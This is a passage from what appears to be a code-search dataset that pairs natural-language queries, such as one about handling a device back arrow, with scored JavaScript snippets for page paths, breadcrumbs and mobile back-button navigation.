window.location.pathname,\n\t\tsPage = sPath.substring(sPath.lastIndexOf('/') + 1);\n\n\t\t// Check to determine if page is an index page and if so get the url from the previous level.\n\t\tif (sPage == \"\") {\n\t\t\tsPage = sPath.split('/');\n\t\t\tsPage = sPage[sPage.length - 2] + '-index';\n\t\t}\n\n\t\t// Return the page name\n\t\treturn sPage;\n\t}", "title": "" }, { "docid": "f0eda15c9b555be503efe812de6b6c72", "score": "0.5066298", "text": "docs() {\n const listOfDetails = [];\n const helpDoc = this.command.docLink || getDocLink(this.command.id);\n if (!helpDoc) {\n return '';\n }\n const hyperLink = urlUtil.convertToHyperlink('MORE INFO', helpDoc);\n // if the terminal doesn't support hyperlink, mention complete url under More Info\n if (hyperLink.isSupported) {\n listOfDetails.push(chalk.bold(hyperLink.url));\n } else {\n listOfDetails.push(indent(helpDoc, 2));\n }\n return listOfDetails.join('\\n');\n }", "title": "" }, { "docid": "998f83144a45b447878075b93f0619f4", "score": "0.50652504", "text": "handleLink(index) {\n return \"/info/\" + index\n }", "title": "" }, { "docid": "597b5fe1a62c6d56b84c0a99b334c76f", "score": "0.50611705", "text": "function breadcrumbs(){\n sDivider = \"&#187;\";\n sRoot = new String( \"/docs\" );\n sURL = new String;\n bits = new Object;\n var x = 0;\n var stop = 0;\n var output = \"<a href=\\\"/docs\\\">Home</a> &nbsp;\" + sDivider + \"&nbsp; \";\n sURL = location.href;\n sURL = sURL.slice(8,sURL.length);\n chunkStart = sURL.indexOf(sRoot);\n sURL = sURL.slice(chunkStart+sRoot.length+1,sURL.length)\n while(!stop){\n chunkStart = sURL.indexOf(\"/\");\n if (chunkStart != -1){\n bits[x] = sURL.slice(0,chunkStart)\n sURL = sURL.slice(chunkStart+1,sURL.length);\n }else{\n stop = 1;\n }\n x++;\n }\n for(var i in bits){\n output += \"<a href=\\\"\";\n for(y=1;y<x-i;y++){\n output += \"../\";\n }\n output += bits[i] + \"/\\\">\" + bits[i].replace( /-/g, \" \" ) + \"</a> &nbsp;\" + sDivider + \"&nbsp; \";\n }\n document.write(output + document.title);\n}", "title": "" }, { "docid": "7080f7ec382b53d23d430aca238af609", "score": "0.50580466", "text": "function dirs(FAQ, tags, math) {\n return math[FAQ];\n}", "title": "" }, { "docid": "e5a0955c9b60924ca4c8fe493c5bcbb0", "score": "0.5056824", "text": "function custumer(){\r\n var filePath = decodeURI(app.activeDocument.path); \r\n var temp = filePath.split('/');\r\n\t\r\n return temp[temp.length-2];\r\n }", "title": "" }, { "docid": "6f9e95f0f173e0ada70801b644768e41", "score": "0.50543743", "text": "readDir(){\n RNFS.readDir(this.props.pathCurrent)\n .then((result) => {\n this.changeItems(result);\n })\n .then((contents) => {\n // log the file contents\n // console.log(contents);\n })\n .catch((err) => {\n // console.log(err.message, err.code);\n });\n }", "title": "" } ]
0adcf2d57e33706d33d91f1115bf389f
Action for back arrow on devices
[ { "docid": "535ff07f27dea60f8e3ad4ea84ca4d15", "score": "0.0", "text": "function onBackKeyDown() {\n $scope.closeModal();\n }", "title": "" } ]
[ { "docid": "4e09d23168810c3e2f2ea358fc90474a", "score": "0.7271899", "text": "handleBackAction() {\n this._triggerOnBack();\n }", "title": "" }, { "docid": "60921269714961d401a124c4ad4e3050", "score": "0.7228686", "text": "back() {\n this._platformStrategy.back();\n }", "title": "" }, { "docid": "75897a14ca43206e5e4ea02effe7bdc5", "score": "0.7203574", "text": "prop_back(editor) {\n editor.el.back = new Components.button.Basic({\n label: '&LeftArrow; Return',\n parent: editor,\n onclick: () => {\n this.command(null);\n this.drawer.hide();\n this.on('return');\n }\n })\n }", "title": "" }, { "docid": "75897a14ca43206e5e4ea02effe7bdc5", "score": "0.7203574", "text": "prop_back(editor) {\n editor.el.back = new Components.button.Basic({\n label: '&LeftArrow; Return',\n parent: editor,\n onclick: () => {\n this.command(null);\n this.drawer.hide();\n this.on('return');\n }\n })\n }", "title": "" }, { "docid": "cd8812bc3dbaabe8fb6a243aad2b65fa", "score": "0.71891624", "text": "back() {\n this._platformStrategy.back();\n }", "title": "" }, { "docid": "cd8812bc3dbaabe8fb6a243aad2b65fa", "score": "0.71891624", "text": "back() {\n this._platformStrategy.back();\n }", "title": "" }, { "docid": "cd8812bc3dbaabe8fb6a243aad2b65fa", "score": "0.71891624", "text": "back() {\n this._platformStrategy.back();\n }", "title": "" }, { "docid": "cd8812bc3dbaabe8fb6a243aad2b65fa", "score": "0.71891624", "text": "back() {\n this._platformStrategy.back();\n }", "title": "" }, { "docid": "cd8812bc3dbaabe8fb6a243aad2b65fa", "score": "0.71891624", "text": "back() {\n this._platformStrategy.back();\n }", "title": "" }, { "docid": "af03239827099e0371178957b0a0e2d2", "score": "0.7083535", "text": "function onBackKeyDown() {\n\t// Handle the back button\n\tconsole.log('device.onBackKeyDown');\n\twindow.history.back();\n}", "title": "" }, { "docid": "6c03191cf8aa9c441421d587a9fd2fbe", "score": "0.7027836", "text": "goback() { this.back = true; }", "title": "" }, { "docid": "d21bb8e9244b6d28d5e6706580f316e3", "score": "0.69854397", "text": "function onBackKeyDown() {\n goBack();\n}", "title": "" }, { "docid": "55b14b27b4474667b50fd674b16ab432", "score": "0.68944603", "text": "function onHardwareBackButton(e) {\n var backView = $ionicHistory.backView();\n if (!backView) {\n // there is no back view, so close the app instead\n ionic.Platform.exitApp();\n } else {\n var historyId = $ionicHistory.backView().historyId;\n historyId = (historyId) ? historyId : 'ion1';\n var viewHistory = $ionicHistory.viewHistory();\n if (!viewHistory.histories[historyId]) {\n // Default back button functionality\n backView.go();\n } else {\n // Go back to the hamburger\n $ionicHistory.goToHistoryRoot(historyId);\n }\n }\n e.preventDefault();\n return false;\n }", "title": "" }, { "docid": "c489f8a00ecf3bc586447b82c5b7da3e", "score": "0.6890955", "text": "handleBackButtonClick() {\n console.log(\"Dashboard\", \"Device Back Button Pressed\");\n return false;\n }", "title": "" }, { "docid": "3157afb3ceca973df5a9f7bc619ff657", "score": "0.6854283", "text": "function onBack() {\n\n\t\tif (step > 1) {\n\t\t\tdispatch(DECREMENT_STEP(step)).then( (response) => {\n\t\t\t\t// update button state\n\t\t\t\tsetBackButtonDisabled(response.payload === 1);\n\t\t\t});\n\t\t}\n\t}", "title": "" }, { "docid": "8539b46e3f81f38d5a0ef3dd853d64be", "score": "0.68145335", "text": "function onBackKeyDown() {\r\n}", "title": "" }, { "docid": "f01bf3af41ea8d28a0f25495533d8516", "score": "0.68103236", "text": "function actionOnClickBack() {\n\t\t\t//alert('Saldras de la carrera');\n\t\t\tgame.state.start('mainMenuState')\n\t\t}", "title": "" }, { "docid": "61d320ecdc8b822813b7d868cc40439a", "score": "0.67866236", "text": "onBackButtonClick_() {\n this.userActed('os-trial-back');\n }", "title": "" }, { "docid": "2e41fbf9e380260f7d4d51353a2e5abe", "score": "0.6784334", "text": "back () {\n // realization in Class\n }", "title": "" }, { "docid": "c882201c64255e6836893bfd8b114e59", "score": "0.6735379", "text": "goBack(){\n this.props.backward();\n }", "title": "" }, { "docid": "93f5430d99ef6a6c7478d421623f8b03", "score": "0.6732935", "text": "function onBackKey(){\n\tif(app.session.data.extra_prev_state > 0){\n\t\tback_to_pre();\n\t}else{\n\t\thide_all_pages();\n\t\tif(app.session.data.cstate > 0){\n\t\t\tvar callback = app.session.data.state_back_callback[app.session.data.cstate];\n\t\t\tif(callback !== null)\n\t\t\t\tcallback();\n\t\t}\n\t\tstop_processing();\n\t}\n}", "title": "" }, { "docid": "c6f2d20fd3b9dc9c7e8769ecc5eee00d", "score": "0.6701926", "text": "function backToTopOver() {\n document.getElementById(\"arrow-right\").innerHTML = \"Back to top\";\n }", "title": "" }, { "docid": "19c122125932b5946d73ee8fe5130a87", "score": "0.67012066", "text": "function OnAndroidBackButton_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "7e7c185e95b3c7ab9b09293b7ea2fbb8", "score": "0.6682383", "text": "function onBackKeyDown() {\n // Boton atras bloqueado\n}", "title": "" }, { "docid": "7e7c185e95b3c7ab9b09293b7ea2fbb8", "score": "0.6682383", "text": "function onBackKeyDown() {\n // Boton atras bloqueado\n}", "title": "" }, { "docid": "3533c0b1d307e4ac68e6d06f3a162a59", "score": "0.6669465", "text": "back()\n\t{\n\t\tconst backAction = NavigationService.back();\n\t\tthis.dispatcher( backAction );\n\t}", "title": "" }, { "docid": "38cd97f43c990b0713ebf7d266079cca", "score": "0.66690797", "text": "function back_button() {\r\n let btn = document.createElement(\"BUTTON\");\r\n let t = document.createTextNode(\"BACK\");\r\n btn.appendChild(t);\r\n btn.setAttribute('data', 'backButton');\r\n btn.id = \"backBtn\";\r\n\r\n // add event listener\r\n btn.addEventListener('click', function () {\r\n let data = this.getAttribute('data');\r\n let parentScroll = path.slice(-1)[0];\r\n let c_Scroll = parentScroll.c_Scroll;\r\n\r\n if (data === 'backButton') {\r\n path.pop();\r\n node.pop();\r\n traverse(path, node, c_Scroll);\r\n }\r\n }, false);\r\n document.getElementById(\"block4\").appendChild(btn);\r\n }", "title": "" }, { "docid": "bfec3ec18fa95076e5fed44fe3e0c144", "score": "0.66227883", "text": "function onBackKeyDown() {\n\t//alert(\"Back Pressed\");\n\tgo_back();\n}", "title": "" }, { "docid": "5622d6c53e6f76d11752b690b895f1be", "score": "0.6617005", "text": "_backPress(event) {\n this.props.navigator.pop()\n }", "title": "" }, { "docid": "ca2216ca46e8b48c3aef3addcdd3c086", "score": "0.6612851", "text": "function chatBackButton(e) {\n if (e) e.preventDefault();\n client_configuration['chat']['chat_user'] = undefined;\n if ( typeof cordova != 'undefined')\n cordova.plugins.Keyboard.close();\n //ChatPage.keyboardDidHide;\n\n Draw.switchBack();\n}", "title": "" }, { "docid": "e35363b2621b4051d13d8c78b76811f7", "score": "0.65975875", "text": "function onHardwareBackButton(e) {\n var backView = $ionicHistory.backView();\n if (backView) {\n // there is a back view, go to it\n backView.go();\n } else {\n // there is no back view, so close the app instead\n ionic.Platform.exitApp();\n }\n e.preventDefault();\n return false;\n }", "title": "" }, { "docid": "e35363b2621b4051d13d8c78b76811f7", "score": "0.65975875", "text": "function onHardwareBackButton(e) {\n var backView = $ionicHistory.backView();\n if (backView) {\n // there is a back view, go to it\n backView.go();\n } else {\n // there is no back view, so close the app instead\n ionic.Platform.exitApp();\n }\n e.preventDefault();\n return false;\n }", "title": "" }, { "docid": "1450973e29eb1c45ac41bd79f0827519", "score": "0.6567024", "text": "renderNavigateBack() {\n return (\n <TopNavigationAction icon={BackIcon} onPress={this.handleBack}/>\n );\n }", "title": "" }, { "docid": "0491483d16dc3050a5ff00e67a403afc", "score": "0.6563301", "text": "function goBack() {\n\t\t\t$state.go('^');\n\t\t}", "title": "" }, { "docid": "27fdb36b366ace863e922d7a66464f27", "score": "0.6547528", "text": "function pageBackAction() {\n if (typeof(navigator) != 'undefined' && typeof(navigator.app) != 'undefined' && typeof(navigator.app.backHistory) == 'function')\n navigator.app.backHistory();\n else\n history.go(-1);\n}", "title": "" }, { "docid": "6b8c73a5b91a149e32835eef32194463", "score": "0.6547233", "text": "back() {\n const { index, showTooltip } = this.state;\n const { steps } = this.props;\n const previousIndex = index - 1;\n\n const shouldDisplay = Boolean(steps[previousIndex]) && showTooltip;\n\n this.logger('joyride:back', ['new index:', previousIndex]);\n this.toggleTooltip(shouldDisplay, previousIndex, 'next');\n }", "title": "" }, { "docid": "22d3c6e002b13baf0c45d645430c03fc", "score": "0.65327144", "text": "previousButton() {\n let currentStep = this.state.step;\n if (currentStep !== 1) {\n return (\n <TouchableOpacity style={styles.btns} onPress={this.prevStep}>\n <Text style={styles.btnText}>Back</Text>\n </TouchableOpacity>\n );\n }\n return null;\n }", "title": "" }, { "docid": "b0e746ce2edffd39a8bc467a6263de30", "score": "0.6529336", "text": "onClickBack () {\n this.props.setTouchMenu(true)\n this.drawers && this.drawers.closeLeftDrawer()\n }", "title": "" }, { "docid": "d375a5db59e1995adcdbb878374af4a4", "score": "0.6527386", "text": "function goBack() {\n $ionicHistory.goBack();\n }", "title": "" }, { "docid": "b1dd7431ca576ef8253b07f710aa9baa", "score": "0.6520779", "text": "get backButton() {return browser.element(\"//android.widget.Button/android.view.ViewGroup/android.widget.ImageView\");}", "title": "" }, { "docid": "b9fdeac640d08fb9f5bdcb440fa0e753", "score": "0.6506868", "text": "function BackArrow() {\n const { returnPreviousPage } = useContext(Context);\n\n return (\n <StyledBackArrow\n className=\"ri-arrow-left-s-line\"\n onClick={() => {\n returnPreviousPage()\n window.scrollTo(0, 0)\n }}\n ></StyledBackArrow>\n );\n}", "title": "" }, { "docid": "9549060197099d7119db31c7ecfa2d2a", "score": "0.6499113", "text": "get backButton() {return browser.element(\"//android.view.ViewGroup/android.view.ViewGroup/android.widget.Button\");}", "title": "" }, { "docid": "32052afff4604f2dd4aee804e383e5ce", "score": "0.6467992", "text": "initializeBackButton () {\n this.backBtn.d3Element\n .classed('hidden', true)\n .on('click', () => this.stepBack())\n\n document.addEventListener('keydown', (e) => {\n if (e.keyCode === 8 && e.target.nodeName.toLowerCase() !== 'input') {\n // Backspace button\n this.stepBack()\n }\n })\n }", "title": "" }, { "docid": "a9a83c14c49c8ae516608d4ce0602a41", "score": "0.6452795", "text": "function OnBtnBack_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "a9a83c14c49c8ae516608d4ce0602a41", "score": "0.6452795", "text": "function OnBtnBack_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "a9a83c14c49c8ae516608d4ce0602a41", "score": "0.6452795", "text": "function OnBtnBack_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "a9a83c14c49c8ae516608d4ce0602a41", "score": "0.6452795", "text": "function OnBtnBack_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "a9a83c14c49c8ae516608d4ce0602a41", "score": "0.6452795", "text": "function OnBtnBack_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "a9a83c14c49c8ae516608d4ce0602a41", "score": "0.6452795", "text": "function OnBtnBack_Click( e )\r\n{\r\n Back() ;\r\n}", "title": "" }, { "docid": "94a84549c30fb6fd05fd4a2bf566323e", "score": "0.644352", "text": "onBack_() {\n this.RecordUMAHistogramForUserActions_(\n ConsolidatedConsentUserAction.BACK_DEMO_BUTTON);\n this.userActed('back');\n }", "title": "" }, { "docid": "e3892d558b075dd085953b35c8ade2c2", "score": "0.6443158", "text": "function onMenuKeyDown() {\n\t// Handle the back button\n\tconsole.log('device.onMenuKeyDown');\n}", "title": "" }, { "docid": "34f1d8b13b7a35af393331431e4f85fa", "score": "0.64387536", "text": "function onBack() {\n resetPageState();\n }", "title": "" }, { "docid": "c9055eb559513ab0512a24346e2c0c18", "score": "0.6425583", "text": "function back() {\n if (history.length > 1) {\n\n setMode(history[history.length - 2]);\n setHistory(prev => [...prev.slice(0, -1)]);\n }\n }", "title": "" }, { "docid": "2513f9dae24a5e81ad7d89a8c8219edb", "score": "0.64126784", "text": "function goBack () {\n // two right turn, make it turn back (180 degree)\n robot.turnRight()\n robot.turnRight()\n robot.move()\n // another tow right turn, make it return to its original facing direction\n robot.turnRight()\n robot.turnRight()\n }", "title": "" }, { "docid": "a52bd762fae94a45b71f3a39937bd2dd", "score": "0.6388651", "text": "_prevScreenApp() {\n\t\tthis.props.navigation.goBack(null);\n }", "title": "" }, { "docid": "91c31c49e0b3813353ae95ed2c485f4e", "score": "0.6387274", "text": "_onBack () {\n this.props.navigator.pop();\n }", "title": "" }, { "docid": "325f67ce7edbfa0765aa27ff0d35c7ad", "score": "0.6380188", "text": "onBackClicked_() {\n this.fire('cancel');\n }", "title": "" }, { "docid": "28e2fdbe4c03908f8cd51ad41a604323", "score": "0.6372431", "text": "function onBackKeyDown() {\n \tif($.mobile.activePage.is(\"#start\")) {\n \t\tnavigator.app.exitApp(); // Exit app if current page is start Page\n \t} else {\n \t\tnavigator.app.backHistory(); // Go back in history in any other case\n \t}\n }", "title": "" }, { "docid": "bf0e61e3ea899376aebc43d7a31b9a3f", "score": "0.6370732", "text": "clickBackButton(){\n this.backButton.waitForExist();\n this.backButton.click();\n }", "title": "" }, { "docid": "28ea7bf6a74cf54244f72232f18fe238", "score": "0.63587165", "text": "function viewBackFromOther() {\n\tlogInfo('Back change pasword');\n}", "title": "" }, { "docid": "28ea7bf6a74cf54244f72232f18fe238", "score": "0.63587165", "text": "function viewBackFromOther() {\n\tlogInfo('Back change pasword');\n}", "title": "" }, { "docid": "45240cddaaecbed320ff6ccc7c739676", "score": "0.63551813", "text": "function onBtnBackClicked() {\n btnFooterLeft.enabled = false;\n AppCsf.navigator.gotoPreviousPage();\n }", "title": "" }, { "docid": "6e8de8c289470711102754cb36952cad", "score": "0.6340518", "text": "function History_MoveBack()\n{\n\t//forward to move to index\n\tthis.MoveToIndex(this.CurrentStateIndex - 1);\n}", "title": "" }, { "docid": "2da130e41070ab11b9c1514d62d91784", "score": "0.63381386", "text": "back(){\n viewport.replace( _history.pop(), _options.pop() );\n }", "title": "" }, { "docid": "36b3719098cf4ee62dbbc835a38e0b0f", "score": "0.6324144", "text": "_onBack () { \n this.props.navigator.pop();\n }", "title": "" }, { "docid": "1e18ebaccf7c394cbc26ef57c98dee22", "score": "0.6323759", "text": "function goBack() {\n goBackArrow.removeEventListener(\"click\", goBack);\n goBackArrow.removeEventListener(\"mouseout\", hoverArrowNo);\n goBackArrow.removeEventListener(\"mouseover\", hoverArrow);\n goBackArrow.classList.remove(\"hover\");\n goBackArrow.classList.remove(\"hover_no_more\");\n window.history.back();\n}", "title": "" }, { "docid": "bce93297aab6126f78573addc69a7ad0", "score": "0.6309912", "text": "function backButtonTrigger() {\n if (window.currentVideoSelectedForPlayback) {\n setCurrentlyPlaying(false)\n const currentNode = window.currentVideoSelectedForPlayback\n const currentTime = currentNode.data.videoCore.currentTime\n const currentVideoStart = currentNode.data.metadata.startTime\n\n if (currentTime - currentVideoStart > 1) {\n currentNode.data.videoCore.currentTime -= 1\n } else if (currentNode.prev) {\n const remainingTime = 1 - currentTime\n window.currentVideoSelectedForPlayback = currentNode.prev\n const prevEndTime = window.currentVideoSelectedForPlayback.data.metadata.endTime\n window.currentVideoSelectedForPlayback.data.videoCore.currentTime = prevEndTime - remainingTime\n } else {\n window.currentVideoSelectedForPlayback.data.videoCore.currentTime = currentVideoStart\n }\n renderUIAfterFrameChange(window.currentVideoSelectedForPlayback)\n }\n}", "title": "" }, { "docid": "59a89fd1d3a95f124a40e1cbe57fa302", "score": "0.6309053", "text": "clickBackButton(){\n this.backButton.waitForExist();\n this.backButton.click();\n }", "title": "" }, { "docid": "a69de5ac79a7a3614cc4f088132d1cca", "score": "0.6282144", "text": "function History_Force_MoveBack()\n{\n\t//can we go back?\n\tif (__SIMULATOR.History.CurrentStateIndex > 1)\n\t{\n\t\t//Go back\n\t\t__SIMULATOR.History.MoveBack();\n\t}\n}", "title": "" }, { "docid": "8baf998e769f792a23784e40137452fc", "score": "0.6274356", "text": "_triggerOnBack() {\n const {onBack} = this.props;\n if (typeof onBack === 'function') {\n onBack();\n }\n }", "title": "" }, { "docid": "2aa93504c0dd04814f9b149dc2f1a2ba", "score": "0.62713367", "text": "onBackwardPress() {\r\n\t\tlet { cardPositions, currentCardIndex, cards, cardsRemaining } = this.state;\r\n\t\tif (currentCardIndex < cards.length - 1) {\r\n\t\t\tcardPositions[currentCardIndex + 1] = 'center';\r\n\t\t\tthis.setState(() => ({\r\n\t\t\t\tcurrentCardIndex: currentCardIndex + 1,\r\n\t\t\t\tcardsRemaining: cardsRemaining + 1,\r\n\t\t\t\tcardPositions: cardPositions,\r\n\t\t\t\tlockKeyPresses: cardsRemaining + 1 <= 0\r\n\t\t\t}));\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "cc9d259dc5f938bad7c7e6e50f68790b", "score": "0.6270993", "text": "function back(key) {\n navigator.dispatch(\n NavigationActions.back({ key })\n );\n}", "title": "" }, { "docid": "5db59d13adcfe1bb7f36773085b2caed", "score": "0.6269672", "text": "back() {\n this.page = 0;\n }", "title": "" }, { "docid": "c065e1cd26db0403e79e472fb0ea273e", "score": "0.6264584", "text": "handleBackButton() {\n // ToastAndroid.show('Back button is pressed', ToastAndroid.SHORT);\n // return false;\n }", "title": "" }, { "docid": "e93efd2741a32af28021de01372a5359", "score": "0.6261155", "text": "navigateBack() {\n this.props.clearSearch(3);\n this.props.dashboardNavigateBack();\n this.props.disableSelectionMode();\n this.props.setDashboardBucketId(null);\n }", "title": "" }, { "docid": "8eb0e68934134a02ea23db604d65ebe1", "score": "0.6253499", "text": "back() {\n this.index--;\n }", "title": "" }, { "docid": "d872edfb91dff00e80c76d944d6524dc", "score": "0.6249021", "text": "function _backState () {\n \t$state.go(projectHeader.backEvent.stateName, projectHeader.backEvent.paramObj)\n }", "title": "" }, { "docid": "9ae848b72b0a9deb71301c1f0329e0e6", "score": "0.6243511", "text": "function back() {\n\tdisp.textContent = disp.textContent.substr(0, disp.textContent.length - 1);\n\tif (disp.textContent.length == 0) {\n\t\tdisp.textContent = '0';\n\t\tdecPressed = 0;\n\t}\n}", "title": "" }, { "docid": "f0a81909b34658591f1a89e5f4171f63", "score": "0.62414217", "text": "function goBack() {\n\t\ttogglePage();\n\t\tdisposeThrownShurikens();\n\t\tupdateThrownShurikenCount();\n\t\tcleanBelt();\n\t}", "title": "" }, { "docid": "22a5e0a96901ca330ad1d46f1bb6e9ab", "score": "0.62331235", "text": "componentDidMount() {\n this.backHandler = BackHandler.addEventListener('hardwareBackPress', () => {\n this.goto_home();\n return true;\n });\n }", "title": "" }, { "docid": "f2defa2700158c943acde420acbe21e9", "score": "0.62329835", "text": "componentDidMount() { BackAndroid.addEventListener('hardwareBackPress', this.handleBackButton); }", "title": "" }, { "docid": "a1515a5652ae4fcaad4f8b82f39d7019", "score": "0.62272024", "text": "function fpPOSH_go_back(){\n\t\t$('#fpPOSH_back').click(function(){\n\t\t\t$(this).animate({'left':'-20px'},'fast');\n\n\t\t\t$('h3.notifications').removeClass('back');\n\n\t\t\t$('.fpPOSH_inner').animate({'margin-left':'0px'}).find('.step2_in').fadeOut();\n\n\n\t\t\t// hide step 2\n\t\t\t$(this).closest('#fpPOSH_outter').find('.step2').fadeOut();\n\n\t\t\t// clear varianles\n\t\t\tshortcode_vars=[];\n\t\t\tshortcode_vars.length=0;\n\n\t\t\tvar code_to_show = $('#fpPOSH_code').data('defsc');\n\t\t\t$('#fpPOSH_code')\n\t\t\t\t.html('['+code_to_show+']')\n\t\t\t\t.attr({'data-curcode':code_to_show});\n\n\t\t\t// change subtitle\n\t\t\t$('h3.notifications span').html( $('h3.notifications span').data('bf') );\n\t\t});\n\t}", "title": "" }, { "docid": "28391b7938c734970761e0ef886776e6", "score": "0.62240505", "text": "function backAction() {\n switch (navigation[navigation.length-1]) {\n case \"list\":\n listAvailableQuizzes();\n break;\n case \"question\":\n showMore(quizNumber);\n break;\n case \"leaderboard\":\n showMore(quizNumber);\n break;\n\n }\n navigation.pop();\n if (navigation.length <= 0) {\n backButton.style.display = \"none\";\n }\n}", "title": "" }, { "docid": "676902aa085a0fb379ff23a50cbeebfd", "score": "0.6223291", "text": "componentWillMount() {\n BackAndroid.addEventListener('hardwareBackPress', this.handlesBackButton);\n }", "title": "" }, { "docid": "93faf661d4acd72b3c72d52c84c7cc64", "score": "0.62114316", "text": "goBack() {\n this.props.goBack();\n }", "title": "" }, { "docid": "d3336beae819f012b6fb34da35e1d1f2", "score": "0.62112117", "text": "handleBackAction(): boolean {\n return this._onNavigationChange('pop');\n }", "title": "" }, { "docid": "eac4c6944eab14196885139245b28453", "score": "0.62089235", "text": "function backSlide() {\n var data = 'up';\n console.log(data);\n if (data && keys.includes(data)) {\n try {\n keySender.sendKey(data);\n slide--;\n } catch (error) {\n console.log(error);\n }\n }\n}", "title": "" }, { "docid": "e4d9633b78ca9e73d93bf21806998e41", "score": "0.6207262", "text": "function back() {\n if (history.length > 1) {\n setHistory(prev => prev.slice(0, prev.length - 1));\n }\n }", "title": "" }, { "docid": "db44ae744d2bac997f059234816ffe65", "score": "0.61964095", "text": "handleBackButtonClick() {\n if (this.state.breadcrumbs.length > 1) {\n const currentIndex = this.state.breadcrumbs.length - 1;\n const prevIndex = currentIndex - 1;\n\n this.handleBreadcrumbClick(this.state.breadcrumbs[prevIndex], prevIndex);\n }\n }", "title": "" }, { "docid": "e11fa71452fd5cc4c2538fc706a5008a", "score": "0.6191033", "text": "goBack() {\n this.props.navigator.pop({\n animated: false,\n });\n }", "title": "" }, { "docid": "8a507aeb2df37406c127503790f139b9", "score": "0.61891335", "text": "function backAction(e) {\r\n\r\n\tif(e != null)\r\n\t\te.preventDefault();\r\n\r\n\tif(History.size() == 0) {\r\n\t\tnavigator.app.exitApp();\r\n\t} else {//Hay historia (Vaciar siempre la pila antes de cambiar)\r\n\t\tif(History.topPage() == '#index') {\r\n\t\t\t//Como es index, vacio la pila\r\n\t\t\tHistory.clear();\r\n\t\t\tbrowse($.mobile.path.get() + \"../index/index.html\", \"none\");\r\n\r\n\t\t} else if(History.topPage() == '#typeList') {\r\n\t\t\tHistory.pop();\r\n\t\t\tbrowse($.mobile.path.get() + \"../typeList/typeList.html\", \"none\");\r\n\r\n\t\t} else if(History.topPage() == '#settings') {\r\n\t\t\tHistory.pop();\r\n\t\t\tbrowse($.mobile.path.get() + \"../settings/settings.html\", \"none\");\r\n\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "6c8b4bedac5aa0a088601c10559bfec2", "score": "0.6185118", "text": "onBackClick() {\n\t\t\tthis.props.uiState.isAlignmentDetailVisible = false;\n\t\t}", "title": "" }, { "docid": "22b8b9497f87433aeaf5d0cb805c1fb0", "score": "0.6182619", "text": "function onBackKeyDown() {\n var backbutton = document.getElementById(\"button-back\");\n\n if (backbutton !== null) {\n backbutton.click();\n } else {\n if (navigator.app) {\n navigator.app.exitApp();\n } else if (navigator.device) {\n navigator.device.exitApp();\n } else {\n window.close();\n }\n }\n}", "title": "" }, { "docid": "01e32d5535fc805710c0d0ac5b3a5c3c", "score": "0.6178766", "text": "function onBackKeyDown(){\n //if($.mobile.activePage.attr('id') == 'home'){ // PARA AÑADIR MAS USAR SEPARADORES \"||\"\n // navigator.notification.confirm(\n // '¿Salir de la aplicación?', \n // function(button) {\n // if (button == 2) {\n // navigator.app.exitApp();\n // }\n // }, \n // 'Salir', 'No,Si');return false;\n // }\n // else { //else if ($.mobile.activePage.attr('id') == 'charlas'){\n //$.mobile.changePage('#home');\n //}else\n\t\tnavigator.app.exitApp();\n // }\n }", "title": "" }, { "docid": "afa528b57dcd9d95a32099e526c69086", "score": "0.61646", "text": "function bindBackKeyEvents() {\n document.addEventListener('tizenhwkey', function keyEventHandler(ev) {\n var page = document.getElementsByClassName(\"active\")[0],\n pageId = page ? page.id : \"\";\n\n if (ev.keyName === \"back\") {\n if (pageId === \"page-main\") {\n try {\n tizen.application.getCurrentApplication().exit();\n } catch (ignore) {}\n } else if (pageId === \"page-notification-detail\") {\n document.querySelector(\"#page-notification\").classList.toggle(\"active\");\n page.classList.toggle(\"active\");\n } else {\n document.querySelector(\"#page-main\").classList.toggle(\"active\");\n page.classList.toggle(\"active\");\n }\n }\n });\n }", "title": "" }, { "docid": "692c01f627c4aef0a4bcde45ac8a6698", "score": "0.61638325", "text": "function _event_for_back_btn(e){\n try{\n var option_dialog = Ti.UI.createOptionDialog({\n options:(self.is_ipad())?['YES','NO','Cancel','']:['YES','NO','Cancel'],\n buttonNames:['Cancel'],\n destructive:0,\n cancel:2,\n title:L('message_save_audio_in_job_create_audio')\n });\n option_dialog.show();\n option_dialog.addEventListener('click',function(evt){\n switch(evt.index){\n case 0://yes\n self.nav_right_btn_click_event(e);\n break;\n case 1://no\n if(e.index == self.default_main_menu_button_index){//menu menu\n self.close_all_window_and_return_to_menu(); \n }else{ \n win.close();\n }\n break;\n case 2://cancel\n self.nav_left_btn.index = -1;\n break; \n }\n }); \n }catch(err){\n self.process_simple_error_message(err,window_source+' - _event_for_back_btn');\n return;\n }\n }", "title": "" }, { "docid": "0946d46490102ea97374c7f6dd406a84", "score": "0.6160542", "text": "function goBack() { $window.history.back(); }", "title": "" }, { "docid": "ab53ed1235a44d631d968634989c3fa6", "score": "0.61538196", "text": "function OnAndroidBackButton_Click( e )\r\n{\r\n // We can go back only if a saving is not in progress\r\n if( !bIsWorkInProgress )\r\n {\r\n Back( { changed_propagation_event_enabled: false } ) ;\r\n }\r\n}", "title": "" }, { "docid": "bb0c27fca954fc8210ccaab866bfeffb", "score": "0.61513126", "text": "goBack() {\n history.back();\n window.scroll(0,0);\n }", "title": "" }, { "docid": "80480b2178c3ddc1e7682be05097d1d1", "score": "0.6144765", "text": "function showBackBt(){\n\t\tif(_historyObj.length>1){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "55aa3b949503897d179edeafc401907b", "score": "0.6142857", "text": "function Back() {\n\tmainMenuController.GetComponent(MainMenu).MainMenu();\n}", "title": "" } ]
430683387128fcfb6a64f13a0f20da68
endGame() handles all the ways a game can end
